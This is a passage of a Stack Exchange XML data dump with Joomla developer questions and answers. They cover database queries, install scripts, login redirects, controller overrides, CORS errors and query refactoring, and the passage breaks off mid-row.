  <row Id="9462" PostTypeId="2" ParentId="9444" CreationDate="2015-04-14T12:19:09.743" Score="1" Body="&lt;p&gt;I am not aware of any direct code that will help you to get article based on &lt;strong&gt;article title&lt;/strong&gt;. But I can see one way to get this done is as follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check com_content model for function &lt;code&gt;getListQuery&lt;/code&gt; at this path: &lt;code&gt;/administrator/components/com_content/models/articles.php&lt;/code&gt; This function is used to query articles from database, based on filters and search query passed at back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use inherit this class to use this function or directly take logic form it. To get search result, you need to store article title as follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;setState('filter.search', &quot;+nugget.code +&quot;: &quot;+nugget.name+&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;setState('filter.search', $articleTitle);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$articleTitle&lt;/code&gt; holds title value of your article. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The better way is to use the logic from this function and remove unwanted filter queries &amp;amp; &lt;code&gt;IF&lt;/code&gt; conditions from core logic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-14T12:19:09.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9463" PostTypeId="1" AcceptedAnswerId="9464" CreationDate="2015-04-14T15:06:58.787" Score="1" ViewCount="75" Body="&lt;p&gt;I am trying to show all subscribed Kunena threads based on the current logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kunena stores the subscribed threads in the '#__kunena_user_topics' table, I've written the following but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$query=&quot;SELECT `topic_id` FROM `b2ygx_kunena_user_topics` WHERE `user_id` = ' . $user-&amp;gt;id . '&quot;&#xA;echo $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-04-14T15:46:04.167" Title="Show Subsribed Kunena Threads based on logged in User ID" Tags="|php|user|mysql|kunena|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9464" PostTypeId="2" ParentId="9463" CreationDate="2015-04-14T15:13:52.770" Score="2" Body="&lt;p&gt;I would suggest you stick to proper Joomla coding standards for your database query. You can always refer to the Joomla documentation to double check if you've done something properly or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a try of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db   = JFactory::getDbo();   // Initiate database connection&#xA;$user = JFactory::getUser();  // Get user object&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);     &#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('topic_id'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__kunena_user_topics'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = '. $db-&amp;gt;quote($user-&amp;gt;id));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that you have an object of results, you can perform a loop and echo the results, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($results as $result)&#xA;{&#xA;    echo $result-&amp;gt;topic_id . '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26&#xA;12&#xA;5&#xA;89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-04-14T15:46:04.167" LastActivityDate="2015-04-14T15:46:04.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9465" PostTypeId="2" ParentId="9394" CreationDate="2015-04-14T15:14:50.320" Score="2" Body="&lt;p&gt;use a redirect in your .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;Redirect 301 /purchase/buy-here.html /shop.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3955" LastActivityDate="2015-04-14T15:14:50.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9466" PostTypeId="2" ParentId="9450" CreationDate="2015-04-14T15:40:29.327" Score="3" Body="&lt;p&gt;I would really not recommend doing that. Joomla runs of relational databases (mySQL, postgre etc) which are optimised to handle relational tables. What you are describing is more in line with using a noSQL database (mongo, couchdb) which store documents that often consolidate hierarchical data. Joomla doesn't natively support such databases and as such I wouldn't recommend using them in conjunction with a Joomla site unless really necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go with a classic relational database design. Joomla has a #__categories table and categories classes (and views I think) already set up for you (take a look at com_content or com_weblinks to see how they are used). They also have the advantage of use nested sets rather than a simple parent/child relationship (&lt;a href=&quot;http://en.wikipedia.org/wiki/Nested_set_model&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Nested_set_model&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd then test the queries generated - I would be highly surprised if they are the bottle neck in your application. &#xA;First of all turn on Joomla's debug option so you can see the queries being generated and the time taken to run them. Then if you see any slow queries use mySQL's EXPLAIN to work out what is happening inside mySQL for that particular query. 9 times out of 10 if there is a performance issues it is because your database is missing an index. Using EXPLAIN should help you figure out if that is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are seeing a lot of duplicate code between views/models etc then the place to handle that is in the application itself, not in the database design.&#xA; So for example you can write an abstract view class which would consolidate your duplicate code and from which all your other view classes would inherit from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize I would say - design a relational database, get your app working, then test IF there are any speed issues. Its always easier to fix something that worry about possibly having to fix a theoretical problem&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-14T15:40:29.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9467" PostTypeId="1" AcceptedAnswerId="9468" CreationDate="2015-04-14T16:10:53.260" Score="3" ViewCount="78" Body="&lt;p&gt;I mean language translations of some components which are distributed separately, not the core Joomla translations.&#xA;They are marked as unpublished, but this has no effect - components continue to be translated, as language files remain in the respective folders. &#xA;Looks like Joomla do not care of their status.&#xA;Is it possible to add some scripts in manifest file to support publishing/unpublishing here?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-04-14T20:27:23.353" Title="Why language files installed in Extension Manager as 'files' type can not be Unpublished?" Tags="|installation|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9468" PostTypeId="2" ParentId="9467" CreationDate="2015-04-14T20:27:23.353" Score="3" Body="&lt;p&gt;You can uninstall them. Joomla! finds language files by folder and file name, so publish status is never checked. This is because a file check is usually much faster than a database lookup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manifest scripts also only cover install and uninstall AFAIK. You could of course make a system plugin that checked the publish status and disabled or enabled the files accordingly. But there is really no point. The files are simply text, so you can uninstall and reinstall them easily enough.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-04-14T20:27:23.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9469" PostTypeId="1" AcceptedAnswerId="9470" CreationDate="2015-04-14T21:05:47.210" Score="7" ViewCount="1054" Body="&lt;p&gt;I know how to create a subfolder inside the &lt;strong&gt;media&lt;/strong&gt; folder by using &lt;code&gt;&amp;lt;media folder=&quot;media&quot; destination=&quot;com_mycom&quot;&amp;gt;&lt;/code&gt; in the manifest file. But how to create subfolder inside of the &lt;strong&gt;images&lt;/strong&gt; folder during the installation of my custom component for example by using install script? What code do I need to add in the file or inside of &lt;code&gt;public function install($parent)&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-04-14T21:19:03.007" Title="How to create a folder during installation custom component" Tags="|joomla-3.x|joomla-api|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9470" PostTypeId="2" ParentId="9469" CreationDate="2015-04-14T21:19:03.007" Score="5" Body="&lt;p&gt;Put in the header of install script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.folder');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and inside of &lt;strong&gt;function install($parent)&lt;/strong&gt; put the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JPATH_SITE . DIRECTORY_SEPARATOR . &quot;images&quot; . DIRECTORY_SEPARATOR . &quot;mycom&quot;;&#xA;$mode = 0755;&#xA;JFolder::create($path, $mode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; for Joomla 3.x&lt;/p&gt;&#xA;" OwnerUserId="1998" LastActivityDate="2015-04-14T21:19:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9471" PostTypeId="1" AcceptedAnswerId="9502" CreationDate="2015-04-15T05:55:30.460" Score="2" ViewCount="1636" Body="&lt;p&gt;A client has content (i.e. articles and modules) which they wish to be displayed to a web site visitor based on their location (e.g. if visitor is in 'City A' show articles and modules for 'City A' and if client is in 'City B' show content and modules for 'City B').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be accomplished in each of the following 2 scenarios&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Non-registered users based on IP address; and&lt;/li&gt;&#xA;&lt;li&gt;Registered users based on their user profile postal or zip code?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does this require custom code or are there any specific extensions which available which can address the above requirements?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorDisplayName="user3831" LastEditDate="2019-01-26T21:57:38.617" LastActivityDate="2019-01-26T21:57:38.617" Title="How to display content and modules based on visitor's location?" Tags="|extensions|module-display|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostTypeId="2" ParentId="9451" CreationDate="2015-04-15T10:51:18.957" Score="1" Body="&lt;p&gt;I think that you will need a custom component and a plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the plugin will change the state of new articles to unpublished. &lt;code&gt;onContentBeforeSave&lt;/code&gt; event will help you with that. More details about the content events can be found &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;the component will list new versions of articles. You will need some kind of task there to accept a new version and update the original article.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another way you can try instead of plugin is to set up the permissions and disable &quot;Edit State&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-04-15T10:51:18.957" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9473" PostTypeId="2" ParentId="9443" CreationDate="2015-04-15T11:03:06.863" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;why they do so as we can get the Db object in controller using JFactory::getDbo() and can insert, update data in table using it. then why the go so long&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the MVC. It theory we could do everything in the controller, but should we? I do not think so. Why so long? This is the CMS and it has to do various checks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this code can be found in publish function of controller but I'm still confused about the above line of code why the do it.?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This coded ensures that the task coming from the request is in array of predefined tasks. &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/utilities/arrayhelper.php#L249-L266&quot; rel=&quot;nofollow&quot;&gt;JArrayHelper::getValue()&lt;/a&gt; also allows to use the default value if it was not found and filter it.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-04-15T11:03:06.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9475" PostTypeId="2" ParentId="9405" CreationDate="2015-04-15T11:38:33.153" Score="2" Body="&lt;p&gt;&lt;strong&gt;The reason you are getting this message&lt;/strong&gt; is stated in your image- you are trying to access &lt;a href=&quot;http://benaventegrow.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://benaventegrow.com&lt;/a&gt; from the website &lt;a href=&quot;http://www.benaventegrow.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.benaventegrow.com&lt;/a&gt; &#xA;They look similar, but they are not the same. So why is this a problem?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JavaScript code is limited by the same-origin policy, meaning, from a&#xA;  page at www.example.com, you can only make (AJAX) requests to services&#xA;  located at exactly the same domain, in that case, exactly&#xA;  www.example.com (not example.com - without the www - or&#xA;  whatever.example.com).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The link below explains what is going on much better than I can and is the source for the quote above.&#xA;&lt;a href=&quot;https://stackoverflow.com/a/20434788/691053&quot;&gt;https://stackoverflow.com/a/20434788/691053&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to fix?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I've never used virtuemart before- but what I would do is check the product entries in virtuemart for the products that give you the error. Check that the product entries contain &lt;strong&gt;www&lt;/strong&gt; in the link. Example -&gt; http://&lt;strong&gt;www&lt;/strong&gt;.benaventegrow.com if they don't have it then add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it is a bad idea to use &lt;code&gt;Header set Access-Control-Allow-Origin &quot;*&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By responding with Access-Control-Allow-Origin: * the requested&#xA;  resource allows sharing with every origin. This basically means that&#xA;  any site can send a XHR request to your site and access the server’s&#xA;  response which would not be the case if you hadn’t implemented this&#xA;  CORS response.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is explained in more detail here &lt;a href=&quot;https://stackoverflow.com/a/12014554/691053&quot;&gt;https://stackoverflow.com/a/12014554/691053&lt;/a&gt; and it is the source of the quote above.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-15T11:38:33.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostTypeId="1" CreationDate="2015-04-15T14:39:33.617" Score="6" ViewCount="3046" Body="&lt;p&gt;Not too much else to add to the question really, I'm trying to redirect a specific user group to a specific area after they log in to the administrator back-end, but I'm not sure if this is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While somewhat of a separate goal, I also want to hide the admin menu.&lt;/p&gt;&#xA;" OwnerUserId="3840" LastEditorUserId="5638" LastEditDate="2016-09-10T05:51:18.743" LastActivityDate="2017-09-25T01:18:56.443" Title="Is it possible to redirect a admin user to a specific component after login?" Tags="|joomla-3.x|joomla-2.5|administrator|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9478" PostTypeId="2" ParentId="9476" CreationDate="2015-04-15T14:48:37.820" Score="1" Body="&lt;p&gt;How about that extension?&#xA;I'd used it before when i needed to redirect users to specified direction :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/redirect-on-login&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/redirect-on-login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4074" LastEditorUserId="1743" LastEditDate="2015-04-22T09:00:50.307" LastActivityDate="2015-04-22T09:00:50.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9479" PostTypeId="2" ParentId="9476" CreationDate="2015-04-15T14:55:55.657" Score="10" Body="&lt;p&gt;You could create a small plugin to perform the redirect. Here's something I've quickly mocked up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemMYPLUGIN extends JPlugin&#xA;{&#xA;&#xA;    public function onUserAfterLogin()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if ($app-&amp;gt;isAdmin()) &#xA;        {&#xA;            $user   = JFactory::getUser();&#xA;            $groups = $user-&amp;gt;get('groups');&#xA;&#xA;            $groups_to_redirect = array('13', '10');&#xA;&#xA;            if (in_array($groups[0], $groups_to_redirect))&#xA;            {&#xA;                $url = JRoute::_('index.php?option=com_hellowworld');&#xA;                $app-&amp;gt;redirect($url);&#xA;            }           &#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;13&lt;/code&gt; as example user group ID's, so you would have to change them to whatever suits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also note I haven't tested this, but hope it points you in the right direction&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-15T14:55:55.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9480" PostTypeId="1" AcceptedAnswerId="9482" CreationDate="2015-04-15T14:59:16.717" Score="4" ViewCount="364" Body="&lt;p&gt;I'm trying to override com_content controller (&lt;code&gt;administrator/components/com_content/controller.php&lt;/code&gt;), for this I have installed the &lt;a href=&quot;https://github.com/juliopontes/joomla-override&quot; rel=&quot;nofollow&quot;&gt;joomla-override&lt;/a&gt; plugin and followed as the documentation says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created a &lt;code&gt;code&lt;/code&gt; folder inside the root of &lt;code&gt;administrator/&lt;/code&gt; directory, and inside of it I've created a &lt;code&gt;com_content&lt;/code&gt; directory with a file named &lt;code&gt;controller.php&lt;/code&gt; in its root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Component Controller&#xA; *&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_content&#xA; * @since       1.5&#xA; */&#xA;class ContentController extends ContentControllerDefault&#xA;{&#xA;&#xA;        /**&#xA;         * @var         string  The default view.&#xA;         * @since   1.6&#xA;         */&#xA;        protected $default_view = 'articles';&#xA;&#xA;        /**&#xA;         * Method to display a view.&#xA;         *&#xA;         * @param   boolean                     If true, the view output will be cached&#xA;         * @param   array  An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA;         *&#xA;         * @return  JController         This object to support chaining.&#xA;         *&#xA;         * @since   1.5&#xA;         */&#xA;        public function display($cachable = false, $urlparams = false)&#xA;        {&#xA;             var_dump(&quot;Test&quot;);&#xA;             return $this;&#xA;        }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the class name follows the overriding rules of the plugin extending the `ContentControllerDefault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;var_dump&lt;/code&gt; should appear below the article edition form, but it is not shown. It's like the class is not being overriden. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="1744" LastEditDate="2016-06-07T11:41:21.720" LastActivityDate="2016-06-07T11:41:21.720" Title="Can't override com_content controller" Tags="|articles|overrides|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9481" PostTypeId="1" CreationDate="2015-04-15T15:22:00.807" Score="1" ViewCount="105" Body="&lt;p&gt;In a component I'm building I plan on having a 'new item' screen featuring a button that will, on click, allow a modal selection from a 'list' view using a custom modal form field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, I'd like the page to refresh with the fields entered thus far are still filled in, and then pull data related to the modal selection to continue creating the new item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, the &lt;strong&gt;New Menu Item&lt;/strong&gt; screen does this when you select a &lt;strong&gt;Menu Item Type&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise I could...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pass the data back through the modal JS function, but 1) I want to develop a single approach I can use for modal selection, modal edits and modal creation within an item, and 2) the data may not exist in the selection modal, but elsewhere&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trigger an event in the modal on the &lt;code&gt;window&lt;/code&gt; onSave that is handled by the parent window, making an AJAX request once we're back from the modal to get the new data, but writing AJAX code for the request, injection of new data, a server handler, debugging, errors etc. seems like creating work when a simple refresh would automatically pull all the new data anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2015-04-16T10:16:51.120" LastActivityDate="2015-04-16T10:16:51.120" Title="How to retain state on refresh when adding a new item?" Tags="|joomla-3.x|component|mvc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9482" PostTypeId="2" ParentId="9480" CreationDate="2015-04-15T18:27:22.483" Score="7" Body="&lt;p&gt;Ok. Solved it. The problem was I was putting the &lt;code&gt;code/&lt;/code&gt; folder in &lt;code&gt;administrator/&lt;/code&gt; root, instead I should have put it inside the template folder (&lt;code&gt;administrator/templates/my_template/code/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it works.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="1744" LastEditDate="2015-04-16T18:13:28.037" LastActivityDate="2015-04-16T18:13:28.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9483" PostTypeId="1" CreationDate="2015-04-15T22:36:26.293" Score="1" ViewCount="470" Body="&lt;p&gt;There may be a couple of ways to solve this, but it seems the JPathway/JMenu route is the most feasible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have legacy php code that is pulling design information from a database.  The custom code is getting called through the Jumi plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the breadcrumbs disappear from the site when any of the Jumi pages are displayed.  Each page is accessed via &lt;code&gt;jumi-alias?catID=x&lt;/code&gt; and the corresponding Menu Items are configured as external URLs (It was the only way I could come up with to pass the parameter from the Menu Item).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a menu structure like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Designs&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;1.1DesignCat1(menu_id=529)&lt;/p&gt;&#xA;    &#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;1.1.1DesignSubCat1(menu_id=569)&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;    &#xA;    &lt;p&gt;1.2DesignCat2(menu_id=530)&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My primary and secondary menu items are static articles and they show the appropriate breadcrumbs, but as soon as I click on that sub-category menu item, I get nothing.  I'm assuming I lose the Pathway information because of it being an external URL menu item or something in Jumi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within my DB/Jumi php code, I can access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$parentMenuItem = $app-&amp;gt;getMenu-&amp;gt;getItem($id);&#xA;$pathway = $app-&amp;gt;getPathway();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially, &lt;code&gt;$pathway&lt;/code&gt; is &lt;code&gt;empty&lt;/code&gt; and &lt;code&gt;!NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to get the Pathway object of the parent menu item and then I can append it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parentMenuPathway-&amp;gt;addItem('DesignSubCat1', 'jumi-alias?catID=x');&#xA;$app-&amp;gt;getPathway()-&amp;gt;setPathway($parentMenuPathway);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is there a Joomla API function to convert a JMenu object into a JPathway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could possibly iterate over the JMenu object and programmatically recreate a JPathway object, but I want to refactor this code into a component and I'm leery of digging into the JMenu Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there's something I've missed in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Version 3.4.0&lt;/p&gt;&#xA;" OwnerUserId="4034" LastEditorUserId="12352" LastEditDate="2018-04-06T14:27:36.253" LastActivityDate="2018-04-06T14:27:36.253" Title="Create breadcrumbs when JPathway object is empty and knowing the parent JMenu" Tags="|joomla-3.x|joomla-api|jmenu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostTypeId="2" ParentId="2212" CreationDate="2015-04-16T00:13:21.553" Score="1" Body="&lt;p&gt;I had same issue.  I changed the menu item alias to &quot;our products&quot;, and it worked fine.  I went to change the menu item alias back to the original &quot;products&quot; and received the error &quot;Save failed with the following error: A first level menu item alias cannot be 'products' because 'products' is a sub-folder of your joomla installation folder.&quot;  I had recently added a subfolder into the joomla installation folder!&lt;/p&gt;&#xA;" OwnerUserId="4077" LastActivityDate="2015-04-16T00:13:21.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostTypeId="1" CreationDate="2015-04-16T05:59:47.307" Score="1" ViewCount="143" Body="&lt;p&gt;I'm building a component which is about to be finalized, but there is a bit of code that I want to refactor. I think this code can be completed in one statement and I used more than 3 statements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();    &#xA;$query  = $db-&amp;gt;getQuery(true);&#xA;foreach ($pks as $i =&amp;gt; $pk)&#xA;{&#xA;    //getting the sid from student table&#xA;    $query-&amp;gt;clear();&#xA;    $query-&amp;gt;select('sid')&#xA;          -&amp;gt;from('#__student')&#xA;          -&amp;gt;where('id = '.$pk);    &#xA;    $db-&amp;gt;setQuery($query); &#xA;    $sid = $db-&amp;gt;loadResult(); &#xA;    $query-&amp;gt;clear();&#xA;&#xA;&#xA;    //fetching the data of old entry from log table using sid&#xA;    $query-&amp;gt;select('*')&#xA;          -&amp;gt;from('#__log')&#xA;          -&amp;gt;where('sid = '.$sid)&#xA;          -&amp;gt;where('pas= 0')&#xA;          -&amp;gt;where('stops=0');&#xA;    $db-&amp;gt;setQuery($query); &#xA;    $obj=$db-&amp;gt;loadObject('stdClass');&#xA;&#xA;    //updating the old entry in log table&#xA;    $query-&amp;gt;clear();&#xA;    $query-&amp;gt;update('#__log')&#xA;          -&amp;gt;set('pas = 1')&#xA;          -&amp;gt;where('sid = '.$sid)&#xA;          -&amp;gt;where('pas= 0')-&amp;gt;where('stops=0');&#xA;    $db-&amp;gt;setQuery($query); &#xA;    $db-&amp;gt;execute();&#xA;&#xA;    //I'm doing this to know about is there at-least one row affected if not then we will not insert a new recorded &#xA;    $count=$db-&amp;gt;getAffectedRows();&#xA;    //after setting pass to 1 we will ++ class by 1 and year by 1  &#xA;    $obj-&amp;gt;class=$obj-&amp;gt;class+1;&#xA;    $obj-&amp;gt;year=$obj-&amp;gt;year+1;&#xA;&#xA;    if($count == 1)&#xA;    {&#xA;        $query-&amp;gt;clear();&#xA;        $query-&amp;gt;insert('#__log')&#xA;              -&amp;gt;columns('class, year, sid, prmoted')&#xA;              -&amp;gt;values($obj-&amp;gt;class.','.$obj-&amp;gt;year.','.$sid.','. 1);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;    }       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this code, first I select the current student record from the &lt;code&gt;#__log&lt;/code&gt; table for next use. Then I update the same record and set &lt;code&gt;pass&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;. Then using previously selected data, I insert a new record in same log table with &lt;code&gt;class+1&lt;/code&gt; and &lt;code&gt;year+1&lt;/code&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this code can be highly refactored can any body help me?&lt;/p&gt;&#xA;" OwnerUserId="3553" 